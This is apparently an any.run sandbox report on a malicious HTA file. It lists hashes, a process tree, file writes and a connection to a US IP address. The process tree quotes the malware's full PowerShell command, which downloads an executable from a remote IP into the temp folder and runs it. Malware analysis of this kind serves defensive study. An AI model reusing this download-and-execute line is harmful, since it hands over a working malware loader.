download: | 0890173.hta |
Full analysis: | https://app.any.run/tasks/9b31d957-ebaa-4535-8fb2-7d2f26b22222 |
Verdict: | Malicious activity |
Analysis date: | July 11, 2019, 15:03:07 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/html |
File info: | HTML document, ASCII text, with very long lines, with CRLF line terminators |
MD5: | 877A3D4D1D96F83FAE7F7AC5466A960D |
SHA1: | 7BDADA643CBC09296347BAE365D71A523566B266 |
SHA256: | DC036069870BED024F873E617B0B1E602C04EC7C2701F6FC2F016CF90E071019 |
SSDEEP: | 24:bqrPm+xs8F5N5NFVX5u+iB05+5mZEC3msFPK:oxs8dfi5i/PK |
.html | | | HyperText Markup Language (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3064 | "C:\Windows\System32\mshta.exe" "C:\Users\admin\AppData\Local\Temp\0890173.hta" | C:\Windows\System32\mshta.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
1532 | "C:\Windows\System32\cmd.exe" /c powershell (new-object System.Net.WebClienT).DownloadFile('http://35.225.200.121/BB/0890173','%temp%\5gd10.exe'); Start '%temp%\5gd10.exe' | C:\Windows\System32\cmd.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1464 | powershell (new-object System.Net.WebClienT).DownloadFile('http://35.225.200.121/BB/0890173','C:\Users\admin\AppData\Local\Temp\5gd10.exe'); Start 'C:\Users\admin\AppData\Local\Temp\5gd10.exe' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HFTE04H8NRCEMSGXL84I.temp | — | |
MD5:— | SHA256:— | |||
1464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB | SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95 | |||
1464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF165db5.TMP | binary | |
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB | SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95 |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1464 | powershell.exe | 35.225.200.121:80 | — | — | US | suspicious |
Domain | IP | Reputation |
---|---|---|
dns.msftncsi.com |
| shared |